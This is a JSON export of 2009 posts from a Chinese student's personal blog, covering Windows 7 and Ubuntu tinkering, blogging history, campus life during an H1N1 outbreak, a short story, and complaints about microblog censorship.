7总体感觉比Vista平面了不少，虽然没有脱胎换骨。说实话，大家说的有点我都暂时还没有体会到……倒是我开始搞声卡的驱动弄得我团团装，要不是Deng在旁边指点，指不定我现在还对着个无声的系统呢。另外一个比较郁闷的是，Windows 7的安装导致我前些日子装的Ubuntu不能进去了。为什么呢？因为Windows 7把Ubuntu的引导文件给覆盖了，囧，你说连门都没有，让我怎么进？现在在下Visual Studio 2008（还在下，4.2GB……），准备放在7里面……\n关于网络方面，很奇怪，我在Vista下的下载速度最后只有200多KB，而这两天在7下的下载速度都频频破300KB,基本上都在350KB以上，我的是电信2M的……不解中。博客现在都不知道写些什么好了，天天这样无聊的唠叨着。对了，最近有想做一个班级网站的冲动，找了下程序，似乎他们都说WP MU可以，基本上都说博客程序的。但我觉得这些都不够中国化，现在就想找找些特别中国化的。上次在蓝冰那儿看到的似乎不错，我有空要去研究一下。\n生活方面，这两天考二级啦，机考运气真不好，抽到那么难的题目，过的概率很悬啊。我旁边那个同学，抽到的题目就是我前一天模拟做过的题目，我当时那个恨呀，自己的运气怎么这么背……对了，前两天老舅拉我去吃午饭，一趟鸿门宴，我还不知道就这样去了，唉~吃饭不是主要的，教育我才是目的啊。四级没有过，上次期末考又没有考好，被他说死了。虽然是一向平和的语气，但心里真的听的很不是滋味。写到这里，我又想起我们都是好孩子这首歌了，我们都是好孩子…… ","count":781,"date":"2009年09月20日","featuredImage":null,"permalink":"https://imnerd.org/recently-summary.html","summary":"\u003cembed height=\"120\" width=\"450\" flashvars=\"bannerWidth=450\u0026bannerHeight=120\u0026bannerSID=http://img.alimama.cn/bm/x/2009-09-20/2009-09-20_ab79eff3ebff7943fa7a2bfd4b3ce1f0_0.xml\u0026bannerXML=\u0026bannerLink=\u0026dataSource=\u0026bid=1038533\" wmode=\"transparent\" allowscriptaccess=\"always\" quality=\"high\" name=\"1038533\" id=\"1038533\" style=\"\" src=\"https://imnerd.org/wp-content/uploads/material/20090920.swf\" type=\"application/x-shockwave-flash\"/\u003e\n\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e总结，有什么好总结的呢，恩，就分个框架吧。先从计算机说起。\u003c/span\u003e\u003c/span\u003e\n\u003cp\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e前些天KevinDeng告诉我，说联想的可以不用刷BOIS装Windos 7，把我个高兴啊，要了破解程序之后，终于在昨天有空的时候装上了。系统下载的文件时用上次妖狐那里的……不晓得是不是最新的了。Windows 7总体感觉比Vista平面了不少，虽然没有脱胎换骨。说实话，大家说的有点我都暂时还没有体会到……倒是我开始搞声卡的驱动弄得我团团装，要不是Deng在旁边指点，指不定我现在还对着个无声的系统呢。另外一个比较郁闷的是，Windows 7的安装导致我前些日子装的Ubuntu不能进去了。为什么呢？因为Windows 7把Ubuntu的引导文件给覆盖了，囧，你说连门都没有，让我怎么进？现在在下Visual Studio 2008（还在下，4.2GB……），准备放在7里面……\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"近日总结"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":" 晚上的时候和ljq聊Q，顺便就问了下他怎么开始接触网络的。他说他很早开始接触电脑拉，但是到初二才开始对网站之类的东西感兴趣。我很是羡慕他能这么早就接触电脑，更是悔恨自己怎么这么晚才知道这些东西呢。 我脑袋里第一次有电脑的身影应该是小学的时候，那时候我们还是有电脑课的。当时最高兴的就是学会了怎么玩扫雷。不要笑，我现在都还有同学不会玩扫雷呢。小学对电脑的认识也仅限于此了。直到中考完了，家里买了电脑了，我真正的网络电脑才有了起点。我玩的第一个网络产品应该是邮箱了，当时很疯狂的，hotmail,163,126,yahoo,sina,sohu，哦，还有Gmail（记得当时Gmail还是要邀请函的。）等等我都注册过，甚至有一个服务商有几个邮箱的。不过，到目前为止坚持下来的也就只有Hotmail，Gmail，163这三个了。其中，Hotmail和163对我的影响算是比较大的了。Hotmail自然是不用说了，微软大哥的嘛，163则让我了解了网易博客。\n开始我一直用的是Live Spaces的，但是它打开的速度实在是不敢恭维，于是就转到网易的门下。我来的时候好像网易还没有建博客，我是用那个私秘日记本的。创立网易博客的时候我也就加入进去了。后来，我就对博客这个东西着迷了起来。我是一个新软爱好者，对功能有着极大的追求，所以我在很多BSP服务商也留下了我的脚印。邮箱连带的就不讲了，另外还有什么中国博客网呀，和讯，还有好多小站的，都有。对了，这里我都是把QQ忽略的，QQ对中华民族的网络事业做出的贡献是大家看得到的。但是用到最后仍是没有一个我比较满意的，越用越觉得其实还是扣扣空间好用点，功能着实强大，但就是动不动就要扣扣币。记得以前注册了个台湾的博客跟扣扣空间差不多，但是忘记的。\n后来，我就上百度知道去问呀。有个人就回答给我让我用PJ自己建个博客算了。从这里开始，我的独立博客算是启蒙了。然后我就向那个人讨教怎么玩呀。他也算是我的启蒙老师了吧，当时提的问题的低能程度，现在想想都汗颜。反正就是，我从他那里了解了独立博客的内涵。对了，在这里我还要提一个功臣的，那就是5944。是它给我提供了学习用的空间，在那里，我度过了我的PJ时光。虽然说5944是个老流氓，但我还是要谢谢它的。通过PJ，我了解了独立博客这个对我来说崭新的世界。当时我这个菜鸟可是热此不疲的在PJ上面提问题呢。玩PJ的时候最喜欢的就是装插件，装了又卸，卸了又装。\n用到后来，哦，是碰上YO2了。对，对于网络，我一直都是属于那种一毛不拔的人。通过YO2，我了解了WP，虽然说当时很不习惯。但是当时上网查PHP免费空间一大堆，于是自己就这样懵里懵懂的转投进了WP中。这些都是高考完后发生的事情。后来大一上了，有了淘宝等乱七八糟的东西，就在互易买了这个米，当时只是给我的网易博客作转链用。也就是说当时只是想要个自己网址的博客。后来碰到胡戈戈，那天糊里糊涂的就买了他的空间，现在想起来都觉得很冲动。就这样，我的博客生涯在WP中延续。再在后来，我上了饭否，又了解了微博，从此，我的微博生涯又开始了。\n其实总的说开，我一直都只是在邮箱和博客中徘徊，对于其他的东西，我并没有了解多少。网吧也是从大学开始才去过几次，网络游戏也都没有玩过。对于我自己来说，不知道是一种什么样的感觉。自己接触独立博客的时间，也不过5个月不到。对于网络的一切，我只是觉得，一个博客就能把我绕的团团转了，有缘就了解一下，也不用太刻意了。好了好了，多余的不写了，再打下去，手机要崩溃了。明天还要考二级呢，睡觉拉！\n","count":1461,"date":"2009年09月19日","featuredImage":null,"permalink":"https://imnerd.org/my-web2-0-history.html","summary":"\u003cp\u003e\u003cobject id=\"1038769\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"120\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1038769\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-20/2009-09-20_5ac921655b00b841d1f51b999f74dc52_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://www.cyyyc.com\u0026amp;dataSource=\u0026amp;bid=1038769\" /\u003e\u003cparam name=\"src\" value=\"http://secretlzm007.googlepages.com/20090919.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1038769\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"120\" src=\"http://img.alimama.cn/bm/bcv1.swf?v=e00c6d9db25b0b688bc91940114f082c6b4ff7e2\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-20/2009-09-20_5ac921655b00b841d1f51b999f74dc52_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://www.cyyyc.com\u0026amp;dataSource=\u0026amp;bid=1038769\" name=\"1038769\"\u003e\u003c/embed\u003e\u003c/object\u003e\n晚上的时候和ljq聊Q，顺便就问了下他怎么开始接触网络的。他说他很早开始接触电脑拉，但是到初二才开始对网站之类的东西感兴趣。我很是羡慕他能这么早就接触电脑，更是悔恨自己怎么这么晚才知道这些东西呢。\n我脑袋里第一次有电脑的身影应该是小学的时候，那时候我们还是有电脑课的。当时最高兴的就是学会了怎么玩扫雷。不要笑，我现在都还有同学不会玩扫雷呢。小学对电脑的认识也仅限于此了。直到中考完了，家里买了电脑了，我真正的网络电脑才有了起点。我玩的第一个网络产品应该是邮箱了，当时很疯狂的，hotmail,163,126,yahoo,sina,sohu，哦，还有Gmail（记得当时Gmail还是要邀请函的。）等等我都注册过，甚至有一个服务商有几个邮箱的。不过，到目前为止坚持下来的也就只有Hotmail，Gmail，163这三个了。其中，Hotmail和163对我的影响算是比较大的了。Hotmail自然是不用说了，微软大哥的嘛，163则让我了解了网易博客。\u003c/p\u003e","time":3,"title":"我的Web2.0历程"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":"这些天一直都在搞鼓Ubuntu，越来越觉得LINUX很强大，Ubuntu的3D效果比Windows的好看多了。虽然说这些天也没弄出个什么拉，但也还是有些收获的。比如：\n1.Ubuntu其实跟WP一样，有一个大的软件库，如果要获得软件库的软件只要在终端输入apt-get install 软件名称就行拉。当然你也可以自己添加软件源。\n2.了解了一些简单的命令，有sudo, rm, cp, gedit等。\n3.知道Ubuntu中DEB类型的文件是安装包。\n4.能够配置PHP环境（但为什么我重启之后PHP环境就没用了？谁能告诉我原因？）\n总的来说，虽然装语言包装的我累死，装那个更新也装的我吐血（虽然它们都可以断点续传），打命令也是搞得的很火大，但是我还是很佩服Ubuntu的强大。现在我的Ubuntu上面除了系统自带软件外，还有QQ（很恶心）、一个FTP客户端、一个音乐播放器、一个电影播放器、Wine模拟器、AIR+N多AIR软件。大家有什么好的软件，推荐一下拉。\n最近服务器一直都不是很稳定，gege也发信通知了我们，真担心国庆了。以前我觉得国庆多好呀，有假放，现在呢，觉得国庆真的很黑暗。要是我没接触独立博客，我可能还不会知道呢…另外，今天对院落也小改了一下，首先就是对WP和BBS进行升级了，simple:press的这个版本后台修改比较大。开始没有删除以前的版本怎么升级都不成功，最后没办法，把以前版本的文件夹重新命名后上传升级才成功了。另外我还换了一套河蟹表情，呵呵，很可爱的哦，当然，也是为了迎接祖国六十大寿的么…最后一个改动就是pagenavi了。话说我中午舍得加代码进去了，呵呵。但是照着他们说的在footer中加效果总是不理想，最后是照着作者的事例网站改才改好的，原来是在narrowcolumn里面加代码。\n好了，今天只有这么多了，有什么明天再补充吧，天，手机发篇日志真是累。\n","count":777,"date":"2009年09月17日","featuredImage":null,"permalink":"https://imnerd.org/linux-system-wp-program.html","summary":"\u003cp\u003e这些天一直都在搞鼓Ubuntu，越来越觉得LINUX很强大，Ubuntu的3D效果比Windows的好看多了。虽然说这些天也没弄出个什么拉，但也还是有些收获的。比如：\u003cbr /\u003e1.Ubuntu其实跟WP一样，有一个大的软件库，如果要获得软件库的软件只要在终端输入apt-get install 软件名称就行拉。当然你也可以自己添加软件源。\u003cbr /\u003e2.了解了一些简单的命令，有sudo, rm, cp, gedit等。\u003cbr /\u003e3.知道Ubuntu中DEB类型的文件是安装包。\u003cbr /\u003e4.能够配置PHP环境（但为什么我重启之后PHP环境就没用了？谁能告诉我原因？）\u003cbr /\u003e总的来说，虽然装语言包装的我累死，装那个更新也装的我吐血（虽然它们都可以断点续传），打命令也是搞得的很火大，但是我还是很佩服Ubuntu的强大。现在我的Ubuntu上面除了系统自带软件外，还有QQ（很恶心）、一个FTP客户端、一个音乐播放器、一个电影播放器、Wine模拟器、AIR+N多AIR软件。大家有什么好的软件，推荐一下拉。\u003cbr /\u003e最近服务器一直都不是很稳定，gege也发信通知了我们，真担心国庆了。以前我觉得国庆多好呀，有假放，现在呢，觉得国庆真的很黑暗。要是我没接触独立博客，我可能还不会知道呢…另外，今天对院落也小改了一下，首先就是对WP和BBS进行升级了，simple:press的这个版本后台修改比较大。开始没有删除以前的版本怎么升级都不成功，最后没办法，把以前版本的文件夹重新命名后上传升级才成功了。另外我还换了一套河蟹表情，呵呵，很可爱的哦，当然，也是为了迎接祖国六十大寿的么…最后一个改动就是pagenavi了。话说我中午舍得加代码进去了，呵呵。但是照着他们说的在footer中加效果总是不理想，最后是照着作者的事例网站改才改好的，原来是在narrowcolumn里面加代码。\u003cbr /\u003e好了，今天只有这么多了，有什么明天再补充吧，天，手机发篇日志真是累。\u003c/p\u003e","time":2,"title":"Linux系统＋WP程序"},{"comments":{"data":[15],"errmsg":"","errno":0},"contents":" 开头话：这是一篇小小说，请大家不要把我对号入座进去，谢谢。\n风吹过草地，下课铃划破校园静谧的氛围。校门口，庸庸碌碌出来的都是刚下课的学生们。放眼望去，高三\u0026lt;15\u0026gt;班的学生们似乎还在努力的做着笔 记。“这个方程，我们先把它配平，然后三段式写出来……”传来的，是讲台上化学老师激情的声音。一切都是这么的平凡，充满了生活的味道。“好，那我们今天 先讲到这里，下课！”化老终于下达了下课命令了。“老师，你看这里，这里是怎么过来的噢……”讲台上瞬间又围了一圈的人，呵呵，都是好学生，在文题目呢。 我背上书包，走向车棚。推着车，我慢悠悠的走出校门。“王，等等我……”身后传来了白的声音。\n”怎么都不等下我？“\n”噢，看你问题目问的爽呢，就没叫你了。“\n”切，少来，没等我就是你的错，今晚晚饭你请了啊。“\n”怎么？想跟我吃馒头去？“\n”得，您老就放过我吧……“\n出了校门是一段下坡路，我们都很喜欢骑自行车冲下去，虽然很危险，虽然门口就是保安。边骑车边和白闲聊，谈天说地。我们都是高三的孩子了，对于高考，我 已经能用正常的心态去看待了，有些东西，并不是你想要就能要的。以前很喜欢听《灌篮高手》的片头曲的，非常的激情，一听到热血都沸腾了。如今确只喜欢些细 雨绵绵、小鸟依人风格的曲子。回到家，吃完饭，打个盹，又到去学校的时间了。下午有我最头疼的英语和物理。有朋友在一起的日子，过的真的是很快。看着窗外 的大树，思绪早已飞到十万八千里之外，桌上的英语书还是那一页没有动过。枯燥的日子中又有些许活力，就像是你每天都做着不同的试卷一样。晚上吃飯，当然没 让白和我一起去吃馒头了，我们去了一家拉面店，我特别喜欢那里的杂酱面。一顿饭，白的嘴巴就没听过，叽叽喳喳的，貌似在抗议那些东西根本不够填满他的嘴似 的。本来还想去书店看看的，算了，时间也不早了，就直接回教室了。晚自习，又是一张英语试卷。\n一天的生活就是这么的简简单单的过去了，偶尔认真听讲，经常开小差；偶尔被老师说两句，经常和班主任“喝茶”；偶尔去去KTV，经常和大家聚在一块……生活在平凡中充满着乐趣，我就在这种乐趣中沉沦。\n街道的灯光照亮着我回家的路，夜晚的冷风吹拂着我的脸庞。今天过去了，明天还会远么？\n","count":907,"date":"2009年09月12日","featuredImage":null,"permalink":"https://imnerd.org/shaohua.html","summary":"\u003cp\u003e\u003cspan style=\"color: #800000;\"\u003e\u003cspan style=\"color: #38761d; font-size: 14px; text-decoration: underline;\"\u003e \u003cspan style=\"font-size: 14px;\"\u003e 开头话：这是一篇小小说，请大家不要把我对号入座进去，谢谢。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color: #38761d; font-size: 14px; text-decoration: underline;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e风吹过草地，下课铃划破校园静谧的氛围。校门口，庸庸碌碌出来的都是刚下课的学生们。放眼望去，高三\u0026lt;15\u0026gt;班的学生们似乎还在努力的做着笔 记。“这个方程，我们先把它配平，然后三段式写出来……”传来的，是讲台上化学老师激情的声音。一切都是这么的平凡，充满了生活的味道。“好，那我们今天 先讲到这里，下课！”化老终于下达了下课命令了。“老师，你看这里，这里是怎么过来的噢……”讲台上瞬间又围了一圈的人，呵呵，都是好学生，在文题目呢。 我背上书包，走向车棚。推着车，我慢悠悠的走出校门。“王，等等我……”身后传来了白的声音。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"韶华"},{"comments":{"data":[30],"errmsg":"","errno":0},"contents":"这几天看我别院的孩子应该知道我学校出现H1N1了，现在的数据是4-5例确诊的，140多位有相似症状正处于隔离状态。哎呀，这可把我们学校跟愁的啊，人心惶惶的。先说下具体现象吧，比如说学校戴口罩的人骤然增多，还有大家都不在食堂吃飯了，都自带饭盒了，呵呵……『虽然我今天也买了』，噢，对，还有人天天吃板蓝根的，囧。再说个更恐怖的事情吧，学校发生的第一例患者住在我附近！哈哈，吓到了吧，是真的，我放图片上来……不过放心，我住的是一单元，他在三单元，而且三单元是另外一栋房子，俗称“小八栋”。现在小八栋都基本上属于高危地带了，我们八栋也成死亡区了，连那送水的师傅都不过来了，这不成心的么，那我们住在这里的可怎么办呀？\n附录：\n一、H1N1流感症状：\n甲型H1N1流感的症状与其他流感症状类似，如高热、咳嗽、乏力、厌食等。另有报道说，此次美国发现病例的主要表现为突然发热、咳嗽、肌肉痛和疲倦，其中一些患者还出现腹泻和呕吐；墨西哥发现病例还出现眼睛发红、头痛和流涕等症状。\r二、我们寝室的地理位置：\r三、我今天买的很有爱的饭盒：『就是有点小，食堂的阿姨要笑死了　TAT……』\r四、中国各地H1N1甲型流感疫情统计：请点击→传送门\r五、东华理工大学学生论坛红门院落猪流感专版：请点击→传送门\n六、H1N1的预防措施：\n流感病毒主要通过空气和接触传播，因此咳嗽或者打喷嚏时应该掩住口、鼻；应勤洗手，还可经常用酒精为日常用品消毒。此外，少在人多的地方“扎堆儿”也是降低感染概率的一个有效方法。一旦发现染病，患者应尽量避免外出，以防将病毒传染他人. ﻿\r七、别院中关于H1N1的记录：\n公子 刚刚得知，我们学校有一例H1N1。\n公子 想在在开班会，对我们进行甲型流感的教育。\n公子 现在学校的数据是：有140例患有感冒和发烧症状，有4例已经确诊为H1N1流感。对于这个数据，我很淡然。\n公子 汗，好吧，我也买饭盒了，主要原因是那饭盒很可爱。\n公子 送水老头不去八栋送水了，八栋成死亡区了。\n","count":811,"date":"2009年09月09日","featuredImage":null,"permalink":"https://imnerd.org/h1n1-is-on-your-side.html","summary":"\u003cp\u003e这几天看我别院的孩子应该知道我学校出现H1N1了，现在的数据是4-5例确诊的，140多位有相似症状正处于隔离状态。哎呀，这可把我们学校跟愁的啊，人心惶惶的。先说下具体现象吧，比如说学校戴口罩的人骤然增多，还有大家都不在食堂吃飯了，都自带饭盒了，呵呵……『虽然我今天也买了』，噢，对，还有人天天吃板蓝根的，囧。再说个更恐怖的事情吧，学校发生的第一例患者住在我附近！哈哈，吓到了吧，是真的，我放图片上来……不过放心，我住的是一单元，他在三单元，而且三单元是另外一栋房子，俗称“小八栋”。现在小八栋都基本上属于高危地带了，我们八栋也成死亡区了，连那送水的师傅都不过来了，这不成心的么，那我们住在这里的可怎么办呀？\u003c/p\u003e","time":2,"title":"H1N1就在你身边"},{"comments":{"data":[39],"errmsg":"","errno":0},"contents":"好吧好吧，伸伸懒腰，开始我的碎碎念了。 我知道，最近很久都没写了是我的错，没有去你们那儿小坐也是我的错，我是错上加错，罪无可恕啊！ :oops:话说，我是从哪天开始没更新的啊，想想，噢，要到开学去了，呵呵，那好，就从这儿说起吧。\n开学其实没啥好说的，就是交钱拿书上课么。最重要的是那几天天气很热，我在寝室实在是睡不着了，总是半夜醒来。 :shock: 最严重的一次是12点钟睡，2点钟醒，5点钟才睡着，汗死～所以那几天我都跑回家里来睡了，呵呵，家在旁边果然就是很幸福 。:roll:嗯嗯，说道这儿，我又想起了一件很重要的事情啦，真的很重要的。我拿工资啦，呵呵，第一次噢～兴奋……拿来干什么呢？我想拿去买相机……呵呵 \u0026#x1f609;\n嗯，还有老师，大英的老师换了。哎呀，刚开始，真是庆幸啊，终于把那个老头给换了诶，不用再天天听他唠叨“想我文革的时候”。可是上完新老师的第一节课后，我蒙了，这还是老师么，我怎么感觉有点像撒旦再世啊，听写单词，课文句子，一星期一套四级题……罄竹难书啊，我开始想念老头了，起码他什么也没让我们干。大物终于开了，来了个比较牛X的老师，上课很容易激动，一激动就容易忘词儿，忘词就容易想错＋念错～呵呵，没有没有，其实大物老师还是很好的。线性代数改成专业上了，不是以前的选课制了。多了两门很讨厌的课，应用文写作和信息检索，两个总结起来就是：如何利用谷歌和百度“盗版”一篇完美的毕业论文。都是在大阶梯教室上，空调没有，连个风扇都没有，囧死我们了。应用文还是在晚上，反正两门我是啥也没听进去。体育课选了网球，交了260大洋，身上顿时穷光蛋了。网球好难学噢，另外，某个大坏蛋也选了网球，那样子，让我看了很不爽。\n然后比较大的事要算迎新了吧。报到前一天的晚上去了，报道第一天的上午去了。晚上的时候碰到一个比较屌的人，以来就说：“你们这些人不要叽叽喳喳的说，你找个能做主的人跟我说。”当时无奈死……带着他们爬到了六楼，楼顶啊……上午的时候又是两个六楼的，我的神噢……带人倒不累，就是在那里等呀，会等死你。拿寝室钥匙的时候，好多人都插队，搞得我好火大～\n噢，对，半路上想起来还有件比较严重的事情，哥的博客被垃圾评论入侵了。我看了下，50多页的垃圾评论啊，删的手发软啊。这怎么行，赶紧上AKsimet。然后又发现某个地方被墙了，上次豆腐传给我的Free门我不知道存哪里去了，谷歌了一下重新下了一个。屁颠屁颠的注册了WP.COM然后要了个KEY，装上后本来有自动清楚上个月的垃圾评论这个选项的，可是我选了怎么也删除不了，爆奇怪。到后来还是我自己删除的，TOT，50多页啊，手工操作……装上AKsimet效果还是比较显著的，今天看了下拦截了700多个垃圾评论，再次汗颜～好吧，我博客总评论估计都还没有2000呢，他的垃圾评论反而必我的多了。更然跟我郁闷的是，也没把他那博客到处宣扬啊，连G和BaiDu都不对他们开放，那些人怎么找到的呢？好奇怪噢……\n这几天应该都没有什么重要的事情发生了。嗯，对了，昨天帮同学搞电脑。他本本中毒，重装系统都难OK，上网查了下那个病毒，好像是漏洞引起的，弄得svchost.exe进程老有问题，还有那个360也有问题，卸载不了。『弄的我现在很纠结要不要删了我的360』先杀毒，查出3个，再停止启动项，查毒，0个，以防万一，安全模式，再次杀毒，0个，无奈重启又杀了一遍，0个，本以为好了，装更新的时候又跑出来了，无奈了……直接重装系统，用PE先对整盘低格，然后重新分区，装系统。装系统的时候发现下的那个番茄花园好像是PE版的，偶很是装不来，没办法，只好拿我家的VISTA光盘给他装一装了，后面还给他输了我家LENOVO的密钥，TOT，我不想的……装更新装的我直接睡着了，囧死。另外，学校的网络不属于校园网？金山校园网升级不了，又一次被囧。\n刚才跑到邮政去取钱，发现邮政系统升级，要带身份证来重新刷新一下。然后更加囧的事情有了：我的存折户主是我爸，我爸的身份证不在我这儿。拒绝复印件，必须原件。也就是说，短时间内，我是身无分文了，啊～谁来救救我！\n下面再贴几个我在别院碎碎念中比较经典的段子：\n刚 才上楼，遇上三位宝宝级人物的对话：宝宝A和B指着一堆他们摘来的树叶说：“我要吃嘛～”宝宝C很大人的说：“不能吃，这个不能吃的。”我顿时觉得这小 孩，挺懂事的。然后宝宝A又说了一句：“我就吃一点么……”宝宝C爆出一句很雷人的：“那好，你就吃一片吧～”我当场无奈走过……\n稀饭就是要稀，以稀为贵。\n老师按摩泡脚是会，教起学生来就是“你们玩会儿去”。哈哈，这句话讲得好精辟。\n","count":1866,"date":"2009年09月03日","featuredImage":null,"permalink":"https://imnerd.org/in-recent-days-sui-suinian.html","summary":"\u003cp\u003e好吧好吧，伸伸懒腰，开始我的碎碎念了。\n我知道，最近很久都没写了是我的错，没有去你们那儿小坐也是我的错，我是错上加错，罪无可恕啊！ :oops:话说，我是从哪天开始没更新的啊，想想，噢，要到开学去了，呵呵，那好，就从这儿说起吧。\u003c/p\u003e","time":4,"title":"近些日子的碎碎念"},{"comments":{"data":[36],"errmsg":"","errno":0},"contents":"鉴于最近刚上课，比较累，所以院落都不怎么更新了。想要看更新的博友请移步别院，那里的更新会比这里频繁点的。恩？不知道我的别院地址？好吧，导航栏的饭否，或者你可以直接输入https://imnerd.org/mblog/，都可以访问我的别院的。招待不周的地方，还请各博友见谅。\n","count":136,"date":"2009年08月25日","featuredImage":null,"permalink":"https://imnerd.org/updates-slow.html","summary":"\u003cp\u003e鉴于最近刚上课，比较累，所以院落都不怎么更新了。想要看更新的博友请移步别院，那里的更新会比这里频繁点的。恩？不知道我的别院地址？好吧，导航栏的饭否，或者你可以直接输入https://imnerd.org/mblog/，都可以访问我的别院的。招待不周的地方，还请各博友见谅。\u003c/p\u003e","time":1,"title":"更新缓慢"},{"comments":{"data":[68],"errmsg":"","errno":0},"contents":"\r——————中英文分界线——————\r放上的是图片，因为我设置不来WP的英文字体，这个WORD截屏下来的好看点。如果要看原文的，请点击这里\n好吧，本来是不打算写中文的，但是英文实在是难以表达我心中的东西，那就在英文的基础上再补点吧。实际上是我的一个复读同学高考完后请我们这些老同学去吃飯的。其实都只是一个借口，我们根本就没有吃什么，全在那里聊天去了。『鄙视下某个人，脸皮好厚。』这顿饭吃的很是……嗯……比天朝还要和谐，呵呵……\n英文很烂，有错误的地方还请大家指正，多多包涵。\n——————杂事分界线——————\n对了，再说个事，博客正式启用寻花问柳牌Google搜索引擎，具体请访问 问道 体验一下吧！ ","count":294,"date":"2009年08月18日","featuredImage":null,"permalink":"https://imnerd.org/2009-08-18.html","summary":"\u003cp style=\"text-align: center;\"\u003e\u003cimg class=\"aligncenter size-full wp-image-626\" title=\"english diary\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/08/english-diary1.jpg\" alt=\"english diary\" width=\"558\" height=\"457\" /\u003e\r\n\u003cspan style=\"font-family:Lucida Calligraphy;\"\u003e \u003cspan style=\"color: #000080;\"\u003e——————中英文分界线——————\u003c/span\u003e\u003c/span\u003e\r\n\u003cp\u003e放上的是图片，因为我设置不来WP的英文字体，这个WORD截屏下来的好看点。如果要看原文的，请\u003ca href=\"http://docs.google.com/View?id=dgrkr3f7_10kbgfwrws\"\u003e点击这里\u003c/a\u003e\u003c/p\u003e","time":1,"title":"2009.08.18"},{"comments":{"data":[34],"errmsg":"","errno":0},"contents":"咳咳，这是一篇预发布文章，这些东西其实我昨天就想说了，只是突然发现频率太快，就用个预发布吧，哈哈～爽爽阿。『没成功，奇怪……』\n话说我真是有点傻傻，国内微博势力蓬勃发展的时候我没有好好关注，等到一个一个全部倒在河蟹的钢钳下后，我才发现这些东西是多么的美好。天朝疯狂的河蟹史我就不想在多说些什么了，饭否已经不开饭了，嘀咕已经附身火兔了，叽歪也只能像鸵鸟一样把头躲到地下去叽叽歪歪了。做啥现在是隶属”净国寺“了『这个是个人观点』，另外还有大大小小无数微博，为了纪念饭否的蟹爪，还有风驰天下的人人『也就是校内』，另外还有什么9911等等数都数不过来的微博客。我不敢怀疑天朝的能力，XX部这头牛驴可是能做到想怎么封就怎么封，想怎么和谐就怎么和谐的。封IP，封网站，局部封，今天封，明天不封，哈哈，都行『也许夸张了……』\n好吧，既然公共微博处于阉割的动荡中，我就自己建吧。国内享有盛名的EasyTalk『以下简称ET』不错，装上，嗯，饭否仿Twitter，它就仿饭否，哈哈。哎呀，说道Twitter，这个要提一提，生命力相当的顽强阿～只要你不河蟹我，管你怎么封，我照上不误，哈哈，因为我们有自由门，哈哈～那么为什么天朝不去河蟹它呢，最主要的原因就是：人家是外国人开的，也是你想河蟹就河蟹的？！哈哈哈～噢噢，回来说ET吧，ET也是曾经繁华一段阿，多少的微博是用它建立的阿，蟹爪是代表，嘿嘿。但是很不幸的说，前些天，ET论坛就说不开发了，当然，我们也能知道真正的原因是什么，恐怕又是河蟹的利爪伸向了人家了。唉，就留下个不完全体给我们，留待有心人继续开发了。好吧好吧，既然多用户的程序我用不着，我就用单用户的吧，PageCookery我跟大家提过了，界面做的我很喜欢，只是功能不够，不能满足需求。那个开发的也是，发个邮件给他至今不回，新版本修正了我报的BUG也不回一个，郁闷至极，你如果不想增加，或者说留待下个版本增加也好歹给我回个邮件阿，服务态度这么差，真是无奈～\n记得以前有篇课文是这样讲的：防民之口，甚于防川。不让百姓说话，这样的和谐叫和谐么？既然这个东西不能制止『虽然你们还是强行制止了』，那就应该顺势推舟，”改道，加道“来缓解洪流，而不是生生的建个”三峡大坝“来去止流，这样反而会形成更大的隐患～\n今天上了个火兔，界面不错，另外觉得手机的客户端也还不错，玩玩吧。但是个人还是认为，放在自己这儿的东西还是更安全的，待PageCookery强大的时候，抛弃之。咳咳！\n貌似，这些天国事谈的有点多了……\n","count":1040,"date":"2009年08月13日","featuredImage":null,"permalink":"https://imnerd.org/hiroya-micro-crazy.html","summary":"\u003cp\u003e咳咳，这是一篇预发布文章，这些东西其实我昨天就想说了，只是突然发现频率太快，就用个预发布吧，哈哈～爽爽阿。『\u003cspan style=\"color: #ff0000;\"\u003e没成功，奇怪……\u003c/span\u003e』\u003c/p\u003e","time":3,"title":"微博也疯狂！"},{"comments":{"data":[34],"errmsg":"","errno":0},"contents":" Girly Nature『问题已经修复，请放心下载！』原文地址：\nhttp://www.templatelite.com/girly-nature-free-wordpress-theme/作者说明的翻译：我制作的大多数主题都属于中性，这个主题是最女性化的。因此，我为它起名为“少女情怀“。过去的十个月里，我推出20多款主题，它们的风格各异。目前我有个主题整容计划，打算为一些主题赋予新特性和新面貌。此主题放出时间：2009/07/17.预览地址：Girly Nature主题预览公子汉化版本下载：Girly 